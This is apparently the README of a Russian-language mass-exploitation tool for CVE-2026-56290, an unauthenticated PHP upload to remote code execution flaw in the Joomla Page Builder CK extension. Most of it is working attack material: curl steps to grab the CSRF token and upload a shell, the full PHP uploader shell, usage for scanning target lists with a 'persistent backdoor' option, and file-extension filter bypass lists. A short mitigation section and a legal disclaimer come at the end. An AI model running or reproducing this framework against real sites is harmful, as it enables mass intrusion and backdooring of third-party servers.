
📤 Фреймворк массовой эксплуатации для CVE-2026-56290 — Page Builder CK Joomla неавторизованная загрузка файлов до RCE
CVE-2026-56290 — это критическая уязвимость в Page Builder CK (com_pagebuilderck), популярном расширении для построения страниц Joomla. Метод контроллера browse.ajaxAddPicture принимает неаутентифицированные загрузки файлов с управляемым пользователем путем назначения, что позволяет злоумышленникам записывать произвольные PHP-файлы в веб-доступные каталоги.
// browse.php controller — NO authentication check
function ajaxAddPicture() {
$input = JFactory::getApplication()->input;
$file = $input->files->get('file', null); // ← user-controlled file
$path = trim($input->get('path', '')); // ← user-controlled path, only trim()!
// ... uploads file to $path without validating the destination
}
Параметр path проходит только trim() санитацию — никакого белого списка, проверки обхода каталогов или шлюза аутентификации. В сочетании с CSRF-токеном, который доступен публично на любой странице Joomla, злоумышленники могут удаленно загружать PHP-шеллы в любой каталог с правом записи.
| Вектор | Серьезность | Воздействие |
|---|---|---|
| Неаутентифицированная загрузка файла |
1. ЗАПРОС главной страницы Joomla → получить CSRF-токен (hex32 + значение "1")
2. POST-запрос на загрузку файла → task=browse.ajaxAddPicture&{token}=1
3. PHP-шелл помещается в → media/com_pagebuilderck/gfonts/shell.php
4. GET-запрос к URL шелла → код выполняется, RCE подтвержден
5. POST f=@file на шелл → загрузка дополнительных инструментов
6. GET ?cleanup=1 → шелл самоуничтожается
Примечание: Версия определяется из файла манифеста Joomla по адресу
/administrator/manifests/files/com_pagebuilderck.xml. Если манифест недоступен, сканер по умолчанию считает цель потенциально уязвимой.
# Клонирование репозитория
git clone https://github.com/shinthink/pbck-exploit.git
cd pbck-exploit
# Установка зависимостей
pip install -r requirements.txt
# Проверка
python cve_2026_56290.py --help
requests>=2.28.0
urllib3>=1.26.0
CVE-2026-56290 — PageBuilderCK Unauthenticated RCE | Mass Exploit & Validator
-t, --target URL одиночной цели
-f, --file Файл с URL целей (по одному на строку, # для комментариев)
-o, --output Выходной TXT-файл в реальном времени (по умолчанию: cve-2026-56290_live.txt)
--json Путь к JSON-отчету (по умолчанию: cve-2026-56290_report.json)
--threads Количество параллельных потоков (по умолчанию: 20)
--timeout Таймаут запроса в секундах (по умолчанию: 15)
--no-cleanup Оставить шеллы на цели (постоянный бэкдор)
-v, --verbose Подробный вывод обнаружения конечных точек
--known-endpoint Пропустить обнаружение: task,file_param,folder_param
# Одиночная цель
python cve_2026_56290.py -t https://target.com
# Массовое сканирование из файла
python cve_2026_56290.py -f targets.txt
# Пользовательский вывод + подробный
python cve_2026_56290.py -f targets.txt -o results.txt -v
# Оставить шеллы (постоянный бэкдор)
python cve_2026_56290.py -t https://target.com --no-cleanup
# Пропустить обнаружение с известной конечной точкой
python cve_2026_56290.py -t https://target.com --known-endpoint "browse.ajaxAddPicture,file,path"
# targets.txt
target-one.com
https://target-two.com/subdir
192.168.10.100
# комментарии и пустые строки игнорируются
$ python cve_2026_56290.py -f targets.txt -o live_results.txt
────────────────────────────────────────────────────────────
CVE-2026-56290 | 5 целей | 20 потоков | очистка=да
TXT в реальном времени: live_results.txt
2026-07-04 15:30:00
────────────────────────────────────────────────────────────
✅ https://target-vuln.com [rce_confirmed] 12.4с
PBCK: 3.4.7 [УЯЗВ]
RCE : ext=php | path=media/com_pagebuilderck/gfonts/
Шелл : https://target-vuln.com/media/com_pagebuilderck/gfonts/pbck_a3f2b9c1.php
Использование: POST f=@file | ?cleanup=1
EP : task=browse.ajaxAddPicture | file=file | folder=path
🛡️ https://target-patched.com [patched] 3.2с
✅ https://target-vuln2.com [rce_confirmed] 15.1с
PBCK: 3.1.0 [УЯЗВ]
RCE : ext=pHP | path=media/com_pagebuilderck/fonts/
Шелл : https://target-vuln2.com/media/com_pagebuilderck/fonts/pbck_x7k2m4v9.pHP
Использование: POST f=@file | ?cleanup=1
EP : task=browse.ajaxAddPicture | file=file | folder=path
==================================================
СВОДКА СКАНИРОВАНИЯ
==================================================
Всего : 5
✅ RCE подтверждено: 2
⚠️ RCE не удалось : 1
🛡️ Исправлено : 1
🔍 Требуется анализ: 0
❌ Не Joomla : 0
⏭️ Нет компонента : 1
💥 Ошибки : 0
==================================================
Шаг 1 — Получение CSRF-токена
curl -sk 'https://target.com/' | grep -oP 'name="[a-f0-9]{32}" value="1"'
# name="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6" value="1"
Шаг 2 — Загрузка PHP-шелла
TOKEN="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6"
curl -sk \
-F "[email protected];type=application/x-php" \
-F "path=media/com_pagebuilderck/gfonts/" \
"https://target.com/index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&${TOKEN}=1"
Шаг 3 — Проверка RCE
curl -sk 'https://target.com/media/com_pagebuilderck/gfonts/shell.php'
# → Вывод PHP-шелла, подтверждает выполнение кода
Сканер развертывает автономный шелл-загрузчик — без exec(), system() или eval():
<html><body>
<form method=post enctype=multipart/form-data>
<input type=file name=f>
<input type=submit value=Upload>
</form>
<pre><?php
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo $_FILES['f']['name'].' OK';
}
if(isset($_GET['cleanup'])){
@unlink(__FILE__);
die('CLEANED');
}
echo '<unique-validation-token>';
?></pre></body></html>
Возможности шелла:
f=@file?cleanup=1┌─────────────────────────────────────────────────────────┐
│ PBCK-EXPLOIT │
├──────────────────┬──────────────────────────────────────┤
│ ФАЗА РАЗВЕДКИ │ ФАЗА ЭКСПЛУАТАЦИИ │
│ │ │
│ ┌────────────┐ │ ┌──────────────┐ ┌──────────────┐ │
│ │ Обнаружение│ │ │ Брутфорс │ │ Сетка обхода │ │
│ │ Joomla │ │ │ конечных │ │ расширений │ │
│ │ (2 фазы) │ │ │ точек (1000+ │ │ (40+ расшир.)│ │
│ │ │ │ │ комбинаций) │ │ │ │
│ └─────┬──────┘ │ └──────┬───────┘ └──────┬───────┘ │
│ │ │ │ │ │
│ ┌─────▼──────┐ │ ┌──────▼───────┐ ┌──────▼───────┐ │
│ │ Обнаружение│ │ │ Сборщик │ │ Развертывание│ │
│ │ PBCK │ │ │ CSRF-токенов │ │ PHP-шелла │ │
│ │ (зонды) │ │ │ (5 страниц) │ │ (20+ путей) │ │
│ └─────┬──────┘ │ └──────┬───────┘ └──────┬───────┘ │
│ │ │ │ │ │
│ ┌─────▼──────┐ │ │ ┌──────▼───────┐ │
│ │ Проверка │ │ │ │ Валидация │ │
│ │ версии │ │ │ │ + очистка │ │
│ └────────────┘ │ │ └──────────────┘ │
└──────────────────┴──────────────────────────────────────┘
Сканер использует многоуровневый брутфорс с ограничением времени на цель (15 с):
Каждая комбинация: загрузить пробный .txt → проверить через GET → совпадение при успехе. Возвращается немедленно при подтверждении.
CKFile::makeSafe() блокирует .php в некоторых конфигурациях. Стратегия обхода:
Уровень 1: Быстро
php, PHP, pht, phar
↓ (если заблокировано)
Уровень 2: Смена регистра
Php, pHp, PhP, pHt, PHT, PhTmL, pHtml, ...
↓ (если заблокировано)
Уровень 3: Альтернативные обработчики
php3, php4, php5, php6, php7, php8, phtml, shtml, inc
↓ (если заблокировано)
Уровень 4: Двойные расширения
php.jpg, jpg.php, php.png, php.gif, php.txt
↓ (если заблокировано)
Уровень 5: Трюки для Windows
php., PHP., php. , php.SWF
CSRF-токен Joomla встроен в каждую страницу — главная, логин, регистрация, контактные формы, админка:
CSRF_PAGES = [
"", # главная страница
"/index.php?option=com_users&view=login", # вход
"/index.php?option=com_users&view=registration", # регистрация
"/index.php?option=com_contact&view=contact&id=1", # контакты
"/administrator/index.php", # вход в админку
]
Шаблон A — скрытое поле HTML: <input type="hidden" name="<hex32>" value="1">
Шаблон B — JSON-конфиг: "csrf.token":"<hex32>"
Фаза 1 — HTML-отпечатки (быстро, однозначно)
<jdoc:include>, joomla-script-options, "csrf.token"/components/com_, /modules/mod_, /plugins/system/Фаза 2 — Зондирование панели администратора (запасной вариант)
/administrator/name="username", mod-login-, administrator/templates/Уровень 1 — Сильные индикаторы HTML
com_pagebuilderck, /pagebuilderck/, /media/com_pagebuilderck
Уровень 2 — Слабые индикаторы HTML с подтверждением
pagebuilderck + (pbck_ | pagebuilderck.css | pagebuilderck.js)
Уровень 3 — Прямые зонды файлов (обнаруживает установки, где PBCK нет на главной)
/media/com_pagebuilderck/css/pagebuilderck.css
/media/com_pagebuilderck/js/pagebuilderck.js
/administrator/manifests/files/com_pagebuilderck.xml
# Обновить Page Builder CK до последней исправленной версии
# Проверить: https://extensions.joomla.org/extension/page-builder-ck/
# Nginx — блокировать неаутентифицированный доступ к контроллеру загрузки
location ~* "option=com_pagebuilderck&task=browse.ajaxAddPicture" {
deny all;
}
# Apache/.htaccess
RewriteCond %{QUERY_STRING} task=browse\.ajaxAddPicture [NC]
RewriteRule ^ - [F]
# .htaccess в media/ — отключить выполнение PHP
<FilesMatch "\.php$">
Require all denied
</FilesMatch>
# Сканирование собственной инфраструктуры
python cve_2026_56290.py -f my_joomla_sites.txt -o audit_results.txt
🚨 ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ И АВТОРИЗОВАННЫХ ЦЕЛЕЙ ТЕСТИРОВАНИЯ
Данное программное обеспечение предоставляется исключительно для образовательных целей и легитимных исследований безопасности. Оно предназначено для использования:
- 🛡️ Специалистами по безопасности при проведении авторизованных пентестов
- 🏢 Организациями, проводящими аудит собственной инфраструктуры Joomla
- 🔬 Исследователями, изучающими методы эксплуатации уязвимостей
- 🎓 Студентами, изучающими безопасность веб-приложений
❌ Вам НЕ разрешается использовать это программное обеспечение для:
- Доступа к компьютерным системам без явного письменного разрешения
- Компрометации, повреждения или нарушения работы систем, которые вам не принадлежат
- Участия в незаконной деятельности любого рода
⚖️ Юридическое уведомление
Несанкционированный доступ к компьютерным системам нарушает законы, включая, но не ограничиваясь:
- США: Закон о компьютерном мошенничестве и злоупотреблении (18 U.S.C. § 1030)
- Индонезия: UU ITE Pasal 30 & 46 (UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
- Европейский союз: Директива 2013/40/EU
- Великобритания: Закон о неправомерном использовании компьютеров 1990 года
Автор(ы) НЕ НЕСУТ НИКАКОЙ ОТВЕТСТВЕННОСТИ за любое неправильное использование, ущерб или юридические последствия, возникшие в результате использования этого инструмента. Используя данное программное обеспечение, вы подтверждаете, что несете единоличную ответственность за свои действия и соглашаетесь соблюдать все применимые законы.
⚡ Создано с точностью для сообщества исследователей безопасности ⚡
Joomla® является зарегистрированным товарным знаком Open Source Matters, Inc.
Данный проект не аффилирован с Joomla, Open Source Matters или Page Builder CK и не одобрен ими.
| 9.8 (Критический) |
| Произвольное выполнение PHP-кода |
| Получение CSRF-токена | 5.3 (Средний) | Обеспечивает цепочку загрузки |
| Раскрытие информации | 5.3 (Средний) | Определение версии расширения |
| Версия Page Builder CK | Статус | Примечания |
|---|
| 3.1.1 и ниже | 🔴 Уязвимо | Подтверждена неаутентифицированная загрузка |
| 3.4.10 и ниже | 🔴 Уязвимо | Расширенный диапазон по результатам анализа |
| 3.5.10 и ниже | 🔴 Уязвимо | Возможно существуют исправленные варианты |
| > 3.5.10 | 🟢 Возможно исправлено | Проверить по manifest.xml |
🔍 Разведка
|
💀 Эксплуатация
|
| Уровень | Задачи (task) | Параметры файла (file) | Параметры папки (folder) | Пути назначения (dest) | Всего комбинаций |
|---|
| Уровень 1 (подтверждено) | browse.ajaxAddPicture + 3 других | file, Filedata | path, folder, dir | Топ-4 каталогов PBCK | 96 |
| Уровень 2 (полная сетка) | 12 задач | 4 параметра | 5 параметров | 20+ путей | 4,800+ |
| Ресурс | Ссылка |
|---|
| Запись NVD | CVE-2026-56290 |
| Безопасность Joomla | developer.joomla.org/security |
| Page Builder CK | extensions.joomla.org |
| OWASP File Upload | Неограниченная загрузка файлов |